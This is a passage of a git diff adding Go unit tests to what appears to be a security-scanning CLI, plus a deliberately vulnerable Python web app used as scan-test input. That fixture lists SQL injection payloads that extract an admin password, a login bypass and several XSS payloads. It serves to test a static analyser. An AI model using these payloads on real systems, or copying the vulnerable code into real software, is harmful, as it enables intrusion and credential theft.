*testing.T) { + var out syncBuffer + s := &bridgeSession{writer: newSyncWriter(&out)} + header := http.Header{} + header.Set("Mcp-Session-Id", "sess-77") + resp := &http.Response{StatusCode: http.StatusOK, Header: header, Body: io.NopCloser(strings.NewReader(`{"jsonrpc":"2.0","id":1,"result":{}}`))} + s.handleResponse(resp) + assert.Equal(t, "sess-77", s.id) +} + +func TestHandleResponse_SSEContentType_PumpsSSE(t *testing.T) { + var out syncBuffer + s := &bridgeSession{writer: newSyncWriter(&out)} + header := http.Header{} + header.Set("Content-Type", "text/event-stream") + resp := &http.Response{ + StatusCode: http.StatusOK, + Header: header, + Body: io.NopCloser(strings.NewReader("data: {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{}}\n\n")), + } + s.handleResponse(resp) + lines := decodeLines(t, out.String()) + assert.Len(t, lines, 1) +} + +func TestPumpSSE_MultipleEvents(t *testing.T) { + var out syncBuffer + s := &bridgeSession{writer: newSyncWriter(&out)} + body := strings.NewReader( + "data: {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{}}\n\n" + + "data: {\"jsonrpc\":\"2.0\",\"id\":2,\"result\":{}}\n\n") + s.pumpSSE(body) + lines := decodeLines(t, out.String()) + assert.Len(t, lines, 2) +} + +func TestPumpSSE_CommentsIgnored_AndTrailingEventWithoutBlankLineFlushed(t *testing.T) { + var out syncBuffer + s := &bridgeSession{writer: newSyncWriter(&out)} + body := strings.NewReader(": keep-alive comment\ndata: {\"jsonrpc\":\"2.0\",\"id\":9,\"result\":{}}") + s.pumpSSE(body) + lines := decodeLines(t, out.String()) + assert.Len(t, lines, 1) + assert.Equal(t, float64(9), lines[0]["id"]) +} + // TestEstablishRemoteSession_DoesNotEmitInitResult: the bridge-driven remote // initialize captures the session id + proto and drives notifications/initialized, // but must NOT emit an init result to the client (it already got the local one). diff --git a/internal/commands/agenthooks/mcp/server_test.go b/internal/commands/agenthooks/mcp/server_test.go new file mode 100644 index 00000000..4fb06946 --- /dev/null +++ b/internal/commands/agenthooks/mcp/server_test.go @@ -0,0 +1,18 @@ +//go:build !integration + +package mcp + +import ( + "testing" + + "github.com/stretchr/testify/assert" +) + +func TestNewMCPCommand_Metadata(t *testing.T) { + cmd := NewMCPCommand("1.0.0", func() bool { return true }) + assert.Equal(t, "mcp", cmd.Use) + + bridgeCmd, _, err := cmd.Find([]string{"bridge"}) + assert.NoError(t, err) + assert.Equal(t, "bridge", bridgeCmd.Use) +} diff --git a/internal/commands/util/pr_test.go b/internal/commands/util/pr_test.go index 2c3f910c..59f01593 100644 --- a/internal/commands/util/pr_test.go +++ b/internal/commands/util/pr_test.go @@ -3,7 +3,10 @@ package util import ( "testing" + "github.com/checkmarx/ast-cli/internal/params" + "github.com/checkmarx/ast-cli/internal/wrappers" "github.com/checkmarx/ast-cli/internal/wrappers/mock" + "github.com/spf13/cobra" asserts "github.com/stretchr/testify/assert" "gotest.tools/assert" @@ -237,3 +240,166 @@ func TestValidateAzureOnPremParameters_WhenParametersAreNotValid_ShouldReturnErr err := validateAzureOnPremParameters("", "username") asserts.NotNil(t, err) } + +// ── policiesToPrPolicies (included branch) ────────────────────────────────── + +func TestPoliciesToPrPolicies_IncludesViolatedPolicies(t *testing.T) { + policy := &wrappers.PolicyResponseModel{ + Policies: []wrappers.Policy{ + {Name: "clean-policy", RulesViolated: []string{}}, + {Name: "violated-policy", BreakBuild: true, RulesViolated: []string{"rule-1", "rule-2"}}, + }, + } + result := policiesToPrPolicies(policy) + asserts.Len(t, result, 1) + asserts.Equal(t, "violated-policy", result[0].Name) + asserts.True(t, result[0].BreakBuild) + asserts.Equal(t, []string{"rule-1", "rule-2"}, result[0].RulesNames) +} + +// ── createBBPRModel ────────────────────────────────────────────────────────── + +func TestCreateBBPRModel_Cloud_ReturnsCloudModel(t *testing.T) { + model := createBBPRModel(true, "scan-1", "token", "my-namespace", "My Repo Name", 7, "", "", nil) + cloudModel, ok := model.(*wrappers.BitbucketCloudPRModel) + asserts.True(t, ok, "expected *wrappers.BitbucketCloudPRModel") + asserts.Equal(t, "My-Repo-Name", cloudModel.RepoName) + asserts.Equal(t, "my-namespace", cloudModel.Namespace) + asserts.Equal(t, 7, cloudModel.PRID) +} + +func TestCreateBBPRModel_Server_ReturnsServerModel(t *testing.T) { + model := createBBPRModel(false, "scan-1", "token", "my-namespace", "My Repo", 9, "https://bb.example.com", "PROJ", nil) + serverModel, ok := model.(*wrappers.BitbucketServerPRModel) + asserts.True(t, ok, "expected *wrappers.BitbucketServerPRModel") + asserts.Equal(t, "My-Repo", serverModel.RepoName) + asserts.Equal(t, "PROJ", serverModel.ProjectKey) + asserts.Equal(t, "https://bb.example.com", serverModel.ServerURL) + asserts.Equal(t, 9, serverModel.PRID) +} + +// ── getScanViolatedPolicies ────────────────────────────────────────────────── + +func TestGetScanViolatedPolicies_ScanWrapperError_ReturnsError(t *testing.T) { + cmd := &cobra.Command{} + _, err := getScanViolatedPolicies(&mock.ScansMockWrapper{}, &mock.PolicyMockWrapper{}, "fake-error-id", cmd) + asserts.Error(t, err, "fake error message") +} + +// ── PR decoration commands: fast paths that never reach policy evaluation ── + +func TestRunPRDecorationGithub_ScanRunning_SkipsDecoration(t *testing.T) { + cmd := PRDecorationGithub(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{}) + asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanRunning")) + asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok")) + asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns")) + asserts.NoError(t, cmd.Flags().Set(params.RepoNameFlag, "repo")) + asserts.NoError(t, cmd.Flags().Set(params.PRNumberFlag, "1")) + + asserts.NoError(t, cmd.RunE(cmd, nil)) +} + +func TestRunPRDecorationGithub_ScanWrapperError_ReturnsError(t *testing.T) { + cmd := PRDecorationGithub(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{}) + asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "fake-error-id")) + asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok")) + asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns")) + asserts.NoError(t, cmd.Flags().Set(params.RepoNameFlag, "repo")) + asserts.NoError(t, cmd.Flags().Set(params.PRNumberFlag, "1")) + + asserts.Error(t, cmd.RunE(cmd, nil), "fake error message") +} + +func TestRunPRDecorationGithub_Success_PostsDecoration(t *testing.T) { + cmd := PRDecorationGithub(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{}) + asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanNotRunning")) + asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok")) + asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns")) + asserts.NoError(t, cmd.Flags().Set(params.RepoNameFlag, "repo")) + asserts.NoError(t, cmd.Flags().Set(params.PRNumberFlag, "1")) + + asserts.NoError(t, cmd.RunE(cmd, nil)) +} + +func TestRunPRDecorationGitlab_ScanRunning_SkipsDecoration(t *testing.T) { + cmd := PRDecorationGitlab(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{}) + asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanRunning")) + asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok")) + asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns")) + asserts.NoError(t, cmd.Flags().Set(params.RepoNameFlag, "repo")) + asserts.NoError(t, cmd.Flags().Set(params.PRIidFlag, "1")) + asserts.NoError(t, cmd.Flags().Set(params.PRGitlabProjectFlag, "100")) + + asserts.NoError(t, cmd.RunE(cmd, nil)) +} + +func TestRunPRDecorationGitlab_Success_PostsDecoration(t *testing.T) { + cmd := PRDecorationGitlab(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{}) + asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanNotRunning")) + asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok")) + asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns")) + asserts.NoError(t, cmd.Flags().Set(params.RepoNameFlag, "repo")) + asserts.NoError(t, cmd.Flags().Set(params.PRIidFlag, "1")) + asserts.NoError(t, cmd.Flags().Set(params.PRGitlabProjectFlag, "100")) + + asserts.NoError(t, cmd.RunE(cmd, nil)) +} + +func TestRunPRDecorationBitbucket_MissingNamespaceForCloud_ReturnsError(t *testing.T) { + cmd := PRDecorationBitbucket(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{}) + asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanNotRunning")) + asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok")) + asserts.NoError(t, cmd.Flags().Set(params.RepoNameFlag, "repo")) + asserts.NoError(t, cmd.Flags().Set(params.PRBBIDFlag, "1")) + // namespace intentionally omitted, apiURL empty => cloud, requires namespace + + err := cmd.RunE(cmd, nil) + asserts.Error(t, err, "namespace is required for Bitbucket Cloud") +} + +func TestRunPRDecorationBitbucket_Success_PostsDecoration(t *testing.T) { + cmd := PRDecorationBitbucket(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{}) + asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanNotRunning")) + asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok")) + asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns")) + asserts.NoError(t, cmd.Flags().Set(params.RepoNameFlag, "repo")) + asserts.NoError(t, cmd.Flags().Set(params.PRBBIDFlag, "1")) + + asserts.NoError(t, cmd.RunE(cmd, nil)) +} + +func TestRunPRDecorationAzure_OnPremParamsInvalid_ReturnsError(t *testing.T) { + cmd := PRDecorationAzure(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{}) + asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanNotRunning")) + asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok")) + asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns")) + asserts.NoError(t, cmd.Flags().Set(params.AzureProjectFlag, "proj")) + asserts.NoError(t, cmd.Flags().Set(params.PRNumberFlag, "1")) + // code-repository-username set without code-repository-url => invalid + asserts.NoError(t, cmd.Flags().Set(params.CodeRespositoryUsernameFlag, "someuser")) + + err := cmd.RunE(cmd, nil) + asserts.Error(t, err, errorAzureOnPremParams) +} + +func TestRunPRDecorationAzure_Success_PostsDecoration(t *testing.T) { + cmd := PRDecorationAzure(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{}) + asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanNotRunning")) + asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok")) + asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns")) + asserts.NoError(t, cmd.Flags().Set(params.AzureProjectFlag, "proj")) + asserts.NoError(t, cmd.Flags().Set(params.PRNumberFlag, "1")) + + asserts.NoError(t, cmd.RunE(cmd, nil)) +} + +func TestNewPRDecorationCommand_HasAllSubcommands(t *testing.T) { + cmd := NewPRDecorationCommand(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{}) + names := map[string]bool{} + for _, sub := range cmd.Commands() { + names[sub.Name()] = true + } + asserts.True(t, names["github"]) + asserts.True(t, names["gitlab"]) + asserts.True(t, names["azure"]) +} diff --git a/internal/commands/util/remediation_test.go b/internal/commands/util/remediation_test.go index ae422afb..1a759dd5 100644 --- a/internal/commands/util/remediation_test.go +++ b/internal/commands/util/remediation_test.go @@ -1,9 +1,11 @@ package util import ( + "encoding/json" "path/filepath" "testing" + "github.com/checkmarx/ast-cli/internal/wrappers" "gotest.tools/assert" ) @@ -103,6 +105,31 @@ func TestRemediationKicsCommandInvalidEngine(t *testing.T) { assert.Assert(t, err != nil, InvalidEngineMessage) } +func TestBuildRemediationSummary_ParsesAvailableAndAppliedCounts(t *testing.T) { + kicsOutput := "Some log line\n" + + "Another log line\n" + + "Available fixes: 5\n" + + "Applied fixes: 3\n" + + summary := buildRemediationSummary(kicsOutput) + + var model wrappers.KicsRemediationSummary + assert.NilError(t, json.Unmarshal([]byte(summary), &model)) + assert.Equal(t, model.AvailableRemediation, 5) + assert.Equal(t, model.AppliedRemediation, 3) +} + +func TestBuildRemediationSummary_ZeroCounts(t *testing.T) { + kicsOutput := "line1\nline2\nAvailable fixes: 0\nApplied fixes: 0\n" + + summary := buildRemediationSummary(kicsOutput) + + var model wrappers.KicsRemediationSummary + assert.NilError(t, json.Unmarshal([]byte(summary), &model)) + assert.Equal(t, model.AvailableRemediation, 0) + assert.Equal(t, model.AppliedRemediation, 0) +} + func TestRemediationKicsCommandSimilarityFilter(t *testing.T) { cmd := RemediationKicsCommand() abs, _ := filepath.Abs(kicsFileValue) diff --git a/internal/services/applications_test.go b/internal/services/applications_test.go index c1be66a7..759696aa 100644 --- a/internal/services/applications_test.go +++ b/internal/services/applications_test.go @@ -1,6 +1,7 @@ package services import ( + "errors" "reflect" "strings" "testing" @@ -96,3 +97,176 @@ func Test_AssociateProjectToApplication_ProjectAlreadyAssociated(t *testing.T) { err := associateProjectToApplication(applicationName, projectID, applicationWrapper) assert.NilError(t, err) } + +func resetFeatureFlagState() { + mock.Flags = nil + mock.Flag = wrappers.FeatureFlagResponseModel{} + mock.FFErr = nil //nolint:gocritic // resetting shared mock package state between tests + mock.TenantConfiguration = nil + wrappers.ClearCache() +} + +func TestGetApplication_EmptyName_ReturnsNilNil(t *testing.T) { + applicationWrapper := &mock.ApplicationsMockWrapper{} + application, err := GetApplication("", applicationWrapper) + assert.NilError(t, err) + assert.Assert(t, application == nil) +} + +func TestGetApplication_NotFound_ReturnsNilNil(t *testing.T) { + applicationWrapper := &mock.ApplicationsMockWrapper{} + application, err := GetApplication("anyApplication", applicationWrapper) + assert.NilError(t, err) + assert.Assert(t, application == nil) +} + +func TestGetApplication_Found_ReturnsApplication(t *testing.T) { + applicationWrapper := &mock.ApplicationsMockWrapper{} + application, err := GetApplication("MOCK", applicationWrapper) + assert.NilError(t, err) + assert.Assert(t, application != nil) + assert.Equal(t, application.Name, "MOCK") +} + +func TestGetApplication_NoExactNameMatch_ReturnsNil(t *testing.T) { + applicationWrapper := &mock.ApplicationsMockWrapper{} + application, err := GetApplication("some-other-application-name", applicationWrapper) + assert.NilError(t, err) + assert.Assert(t, application == nil) +} + +func TestGetApplication_WrapperError_ReturnsError(t *testing.T) { + applicationWrapper := &mock.ApplicationsMockWrapper{} + application, err := GetApplication(mock.NoPermissionApp, applicationWrapper) + assert.Assert(t, err != nil) + assert.Assert(t, application == nil) +} + +func TestGetApplicationID_EmptyName_ReturnsNilNil(t *testing.T) { + applicationWrapper := &mock.ApplicationsMockWrapper{} + ids, err := getApplicationID("", applicationWrapper) + assert.NilError(t, err) + assert.Assert(t, ids == nil) +} + +func TestGetApplicationID_Found_ReturnsID(t *testing.T) { + applicationWrapper := &mock.ApplicationsMockWrapper{} + ids, err := getApplicationID("MOCK", applicationWrapper) + assert.NilError(t, err) + assert.DeepEqual(t, ids, []string{"mockID"}) +} + +func TestGetApplicationID_NotFound_ReturnsError(t *testing.T) { + applicationWrapper := &mock.ApplicationsMockWrapper{} + ids, err := getApplicationID("anyApplication", applicationWrapper) + assert.Assert(t, err != nil) + assert.Assert(t, ids == nil) +} + +func TestGetApplicationID_WrapperError_ReturnsError(t *testing.T) { + applicationWrapper := &mock.ApplicationsMockWrapper{} + ids, err := getApplicationID(mock.NoPermissionApp, applicationWrapper) + assert.Assert(t, err != nil) + assert.Assert(t, ids == nil) +} + +func TestCheckDirectAssociationEnabled_DirectFlagEnabled_ReturnsTrue(t *testing.T) { + resetFeatureFlagState() + defer resetFeatureFlagState() + mock.Flags = wrappers.FeatureFlagsResponseModel{ + {Name: wrappers.DirectAssociationEnabled, Status: true}, + {Name: wrappers.DaMigrationEnabled, Status: false}, + } + enabled, err := checkDirectAssociationEnabled(&mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{}) + assert.NilError(t, err) + assert.Assert(t, enabled) +} + +func TestCheckDirectAssociationEnabled_BothDisabled_ReturnsFalse(t *testing.T) { + resetFeatureFlagState() + defer resetFeatureFlagState() + mock.Flags = wrappers.FeatureFlagsResponseModel{ + {Name: wrappers.DirectAssociationEnabled, Status: false}, + {Name: wrappers.DaMigrationEnabled, Status: false}, + } + enabled, err := checkDirectAssociationEnabled(&mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{}) + assert.NilError(t, err) + assert.Assert(t, !enabled) +} + +func TestCheckDirectAssociationEnabled_MigrationEnabledWithConfig_ReturnsTrue(t *testing.T) { + resetFeatureFlagState() + defer resetFeatureFlagState() + mock.Flags = wrappers.FeatureFlagsResponseModel{ + {Name: wrappers.DirectAssociationEnabled, Status: false}, + {Name: wrappers.DaMigrationEnabled, Status: true}, + } + enabled, err := checkDirectAssociationEnabled(&mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{}) + assert.NilError(t, err) + assert.Assert(t, enabled) +} + +func TestCheckDirectAssociationEnabled_MigrationEnabledWrapperError_ReturnsError(t *testing.T) { + resetFeatureFlagState() + defer resetFeatureFlagState() + mock.Flags = wrappers.FeatureFlagsResponseModel{ + {Name: wrappers.DirectAssociationEnabled, Status: false}, + {Name: wrappers.DaMigrationEnabled, Status: true}, + } + tenantWrapper := &mock.TenantConfigurationMockWrapper{ + CustomGetTenantConfiguration: func() (*[]*wrappers.TenantConfigurationResponse, *wrappers.WebError, error) { + return nil, nil, errors.New("tenant configuration request failed") + }, + } + enabled, err := checkDirectAssociationEnabled(&mock.FeatureFlagsMockWrapper{}, tenantWrapper) + assert.Assert(t, err != nil) + assert.Assert(t, !enabled) +} + +func TestFindApplicationAndUpdate_EmptyName_ReturnsNil(t *testing.T) { + err := findApplicationAndUpdate("", &mock.ApplicationsMockWrapper{}, "project-name", "project-id", + &mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{}) + assert.NilError(t, err) +} + +func TestFindApplicationAndUpdate_ApplicationNotFound_ReturnsError(t *testing.T) { + err := findApplicationAndUpdate("anyApplication", &mock.ApplicationsMockWrapper{}, "project-name", "project-id", + &mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{}) + assert.Assert(t, err != nil) +} + +func TestFindApplicationAndUpdate_GetApplicationError_ReturnsError(t *testing.T) { + err := findApplicationAndUpdate(mock.NoPermissionApp, &mock.ApplicationsMockWrapper{}, "project-name", "project-id", + &mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{}) + assert.Assert(t, err != nil) +} + +func TestFindApplicationAndUpdate_AlreadyAssociated_ReturnsNil(t *testing.T) { + err := findApplicationAndUpdate(mock.ExistingApplication, &mock.ApplicationsMockWrapper{}, "project-name", "ID-newProject", + &mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{}) + assert.NilError(t, err) +} + +func TestFindApplicationAndUpdate_DirectAssociationEnabled_AssociatesProject(t *testing.T) { + resetFeatureFlagState() + defer resetFeatureFlagState() + mock.Flags = wrappers.FeatureFlagsResponseModel{ + {Name: wrappers.DirectAssociationEnabled, Status: true}, + {Name: wrappers.DaMigrationEnabled, Status: false}, + } + err := findApplicationAndUpdate("MOCK", &mock.ApplicationsMockWrapper{}, "project-name", "brand-new-project-id", + &mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{}) + assert.NilError(t, err) +} + +func TestFindApplicationAndUpdate_DirectAssociationDisabled_UpdatesApplication(t *testing.T) { + resetFeatureFlagState() + defer resetFeatureFlagState() + mock.Flags = wrappers.FeatureFlagsResponseModel{ + {Name: wrappers.DirectAssociationEnabled, Status: false}, + {Name: wrappers.DaMigrationEnabled, Status: false}, + } + err := findApplicationAndUpdate("MOCK", &mock.ApplicationsMockWrapper{}, "project-name", "brand-new-project-id-2", + &mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{}) + assert.NilError(t, err) +} diff --git a/internal/services/asca_test.go b/internal/services/asca_test.go index 295c5f22..d73f0ca2 100644 --- a/internal/services/asca_test.go +++ b/internal/services/asca_test.go @@ -268,6 +268,112 @@ func TestCreateASCAScanRequest_ValidCustomVorpalLocation_NoVorpalExe_Installed_F _ = result } +func TestValidateIgnoredFilePath_EmptyPath_ReturnsNil(t *testing.T) { + result := validateIgnoredFilePath("") + assert.Nil(t, result) +} + +func TestValidateIgnoredFilePath_FileNotFound_ReturnsErrorResult(t *testing.T) { + result := validateIgnoredFilePath("data/nonexistent-ignore-file.json") + assert.NotNil(t, result) + assert.NotNil(t, result.Error) + assert.Contains(t, result.Error.Description, "not found") +} + +func TestValidateIgnoredFilePath_FileExists_ReturnsNil(t *testing.T) { + result := validateIgnoredFilePath("data/ignoredAsca.json") + assert.Nil(t, result) +} + +func TestReadSourceCode_FileNotFound_ReturnsError(t *testing.T) { + content, err := readSourceCode("data/nonexistent-file.py") + assert.Error(t, err) + assert.Empty(t, content) +} + +func TestReadSourceCode_ValidFile_ReturnsContent(t *testing.T) { + content, err := readSourceCode("data/python-vul-file.py") + assert.NoError(t, err) + assert.Contains(t, content, "#!/usr/bin/env python") +} + +func TestLoadIgnoredAscaFindings_FileNotFound_ReturnsError(t *testing.T) { + findings, err := loadIgnoredAscaFindings("data/nonexistent.json") + assert.Error(t, err) + assert.Nil(t, findings) +} + +func TestLoadIgnoredAscaFindings_InvalidJSON_ReturnsError(t *testing.T) { + tempDir := t.TempDir() + badFile := filepath.Join(tempDir, "bad.json") + writeErr := os.WriteFile(badFile, []byte("not valid json"), 0600) + assert.NoError(t, writeErr) + + findings, err := loadIgnoredAscaFindings(badFile) + assert.Error(t, err) + assert.Nil(t, findings) +} + +func TestLoadIgnoredAscaFindings_ValidJSON_ReturnsFindings(t *testing.T) { + findings, err := loadIgnoredAscaFindings("data/ignoredAsca.json") + assert.NoError(t, err) + assert.Len(t, findings, 1) + assert.Equal(t, "python-vul-file.py", findings[0].FileName) + assert.Equal(t, uint32(34), findings[0].Line) + assert.Equal(t, uint32(4006), findings[0].RuleID) +} + +func TestBuildAscaIgnoreMap_BuildsExpectedKeys(t *testing.T) { + ignored := []grpcs.AscaIgnoreFinding{ + {FileName: "a.py", Line: 10, RuleID: 1}, + {FileName: "b.py", Line: 20, RuleID: 2}, + } + ignoreMap := buildAscaIgnoreMap(ignored) + assert.Len(t, ignoreMap, 2) + assert.True(t, ignoreMap["a.py_10_1"]) + assert.True(t, ignoreMap["b.py_20_2"]) + assert.False(t, ignoreMap["c.py_30_3"]) +} + +func TestFilterIgnoredAscaFindings_RemovesMatchingEntries(t *testing.T) { + details := []grpcs.ScanDetail{ + {FileName: "a.py", Line: 10, RuleID: 1}, + {FileName: "b.py", Line: 20, RuleID: 2}, + } + ignoreMap := map[string]bool{"a.py_10_1": true} + + filtered := filterIgnoredAscaFindings(details, ignoreMap) + assert.Len(t, filtered, 1) + assert.Equal(t, "b.py", filtered[0].FileName) +} + +func TestExecuteScan_ScanWrapperError_ReturnsError(t *testing.T) { + ascaWrapper := &mock.ASCAMockWrapper{ + CustomScan: func(fileName, sourceCode string) (*grpcs.ScanResult, error) { + return nil, errors.New("scan wrapper failure") + }, + } + result, err := executeScan(ascaWrapper, "data/python-vul-file.py", "") + assert.Error(t, err) + assert.Nil(t, result) + assert.Contains(t, err.Error(), "scan wrapper failure") +} + +func TestExecuteScan_ReadSourceCodeError_ReturnsError(t *testing.T) { + ascaWrapper := mock.NewASCAMockWrapper(1234) + result, err := executeScan(ascaWrapper, "data/nonexistent-file.py", "") + assert.Error(t, err) + assert.Nil(t, result) +} + +func TestExecuteScan_InvalidIgnoredFile_ContinuesWithoutFiltering(t *testing.T) { + ascaWrapper := mock.NewASCAMockWrapper(1234) + result, err := executeScan(ascaWrapper, "data/python-vul-file.py", "data/nonexistent-ignore-file.json") + assert.NoError(t, err) + assert.NotNil(t, result) + assert.NotEmpty(t, result.ScanDetails) +} + func TestCreateASCAScanRequest_ValidCustomVorpalLocation_VorPal_exe_Success(t *testing.T) { tempDir := t.TempDir() diff --git a/internal/services/data/ignoredAsca.json b/internal/services/data/ignoredAsca.json new file mode 100644 index 00000000..e9dc4045 --- /dev/null +++ b/internal/services/data/ignoredAsca.json @@ -0,0 +1,9 @@ +[ + + { + "FileName": "python-vul-file.py", + "Line": 34, + "RuleID": 4006 + } + +] \ No newline at end of file diff --git a/internal/services/data/python-vul-file.py b/internal/services/data/python-vul-file.py new file mode 100644 index 00000000..1f46aa3b --- /dev/null +++ b/internal/services/data/python-vul-file.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python +import html, http.client, http.server, io, json, os, pickle, random, re, socket, socketserver, sqlite3, string, sys, subprocess, time, traceback, urllib.parse, urllib.request, xml.etree.ElementTree # Python 3 required +try: + import lxml.etree +except ImportError: + print("[!] please install 'python-lxml' to (also) get access to XML vulnerabilities (e.g. '%s')\n" % ("apt-get install python-lxml" if os.name != "nt" else "https://pypi.python.org/pypi/lxml")) + +NAME, VERSION, GITHUB, AUTHOR, LICENSE = "Damn Small Vulnerable Web (DSVW) < 100 LoC (Lines of Code)", "0.2b", "https://github.com/stamparm/DSVW", "Miroslav Stampar (@stamparm)", "Unlicense (public domain)" +LISTEN_ADDRESS, LISTEN_PORT = "127.0.0.1", 65412 +HTML_PREFIX, HTML_POSTFIX = "\n\n\n\n%s\n\n\n\n" % html.escape(NAME), "
Powered by %s (v%s)
\n\n" % (GITHUB, re.search(r"\(([^)]+)", NAME).group(1), VERSION) +USERS_XML = """adminadminadmin7en8aiDoh!driccidianricci12345amasonanthonymasongandalfsvargassandravargasphest1945""" +CASES = (("Blind SQL Injection (boolean)", "?id=2", "/?id=2%20AND%20SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C1%2C1)%3D%277%27\" onclick=\"alert('checking if the first character for admin\\'s password is digit \\'7\\' (true in case of same result(s) as for \\'vulnerable\\')')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#boolean-exploitation-technique"), ("Blind SQL Injection (time)", "?id=2", "/?id=(SELECT%20(CASE%20WHEN%20(SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C2%2C1)%3D%27e%27)%20THEN%20(LIKE(%27ABCDEFG%27%2CUPPER(HEX(RANDOMBLOB(300000000)))))%20ELSE%200%20END))\" onclick=\"alert('checking if the second character for admin\\'s password is letter \\'e\\' (true in case of delayed response)')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#time-delay-exploitation-technique"), ("UNION SQL Injection", "?id=2", "/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20(SELECT%20id%7C%7C%27%2C%27%7C%7Cusername%7C%7C%27%2C%27%7C%7Cpassword%20FROM%20users%20WHERE%20username%3D%27admin%27)", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#union-exploitation-technique"), ("Login Bypass", "/login?username=&password=", "/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#classic-sql-injection"), ("HTTP Parameter Pollution", "/login?username=&password=", "/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F%271", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution"), ("Cross Site Scripting (reflected)", "/?v=0.2", "/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting"), ("Cross Site Scripting (stored)", "/?comment=\" onclick=\"document.location='/?comment='+prompt('please leave a comment'); return false", "/?comment=%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting"), ("Cross Site Scripting (DOM)", "/?#lang=en", "/?foobar#lang=en%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting"), ("Cross Site Scripting (JSONP)", "/users.json?callback=process\" onclick=\"var script=document.createElement('script');script.src='/users.json?callback=process';document.getElementsByTagName('head')[0].appendChild(script);return false", "/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess\" onclick=\"var script=document.createElement('script');script.src='/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess';document.getElementsByTagName('head')[0].appendChild(script);return false", "http://www.metaltoad.com/blog/using-jsonp-safely"), ("XML External Entity (local)", 